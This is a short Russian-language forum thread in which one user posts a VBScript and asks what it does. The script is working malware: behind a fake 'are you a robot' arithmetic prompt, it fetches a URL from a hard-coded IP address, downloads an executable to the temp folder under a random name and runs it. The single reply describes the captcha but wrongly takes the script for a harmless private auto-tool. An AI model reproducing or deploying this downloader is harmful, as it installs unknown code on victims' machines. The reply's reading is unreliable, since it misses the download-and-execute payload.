Программисты помогите!

[Eight]

Что за код? И что он делает

Dim rnd_2Max, rnd_2Min

rnd_2Min = 1
rnd_2Max = 10
Dim rnd_3Max, rnd_3Min
rnd_3Min = 1
rnd_3Max = 10
Dim memory11
Dim rnd_17Max, rnd_17Min
rnd_17Min = 895678
rnd_17Max = 67896789
Dim winhttp_10
Set winhttp_10 = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim winhttp_14
Set winhttp_14 = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim shell
Set shell = WScript.CreateObject("WScript.Shell")
Dim stream_21
Set stream_21 = CreateObject("ADODB.Stream")
Randomize
Randomize
rnd_2 = Int((rnd_2Max - rnd_2Min + 1) * Rnd + rnd_2Min)
rnd_3 = Int((rnd_3Max - rnd_3Min + 1) * Rnd + rnd_3Min)
res4 = (Eval(rnd_2) + Eval(rnd_3))
res5 = "Вы не робот? Сколько будет " & rnd_2 & " + " & rnd_3 & ""
input_6 = InputBox(res5, "Вопрос???", "0")
If Len(input_6) Then
  If InStr(1, res4, input_6, 1) = 1 Then
    winhttp_10.Open "GET", "http://193.124.119.133:98/ds", False
    winhttp_10.Send
    memory11 = winhttp_10.ResponseText
    winhttp_14.Open "GET", memory11, False
    winhttp_14.Send
    Randomize
    rnd_17 = Int((rnd_17Max - rnd_17Min + 1) * Rnd + rnd_17Min)
    res18 = "" & fso.GetSpecialFolder(2) & "\" & rnd_17 & ".exe"
    With stream_21
      .Open
      .Type = 1
    End With
    stream_21.Write winhttp_14.ResponseBody
    stream_21.SaveToFile res18, 2
    If stream_21.State Then stream_21.Close
    If shell.Run(res18, 1, False) = 1 Then
    End If
  End If
End If
Set winhttp_10 = Nothing
Set winhttp_14 = Nothing
Set fso = Nothing
Set shell = Nothing
Set stream_21 = Nothing

Кто поможет отблагодарю

 

[yodacheats]

ну как я вижу идет проверка на то что вы не робот задается выражение на которое нужно дать правильный ответ , а потомк какомуто сайту подключается похоже на приватный автошот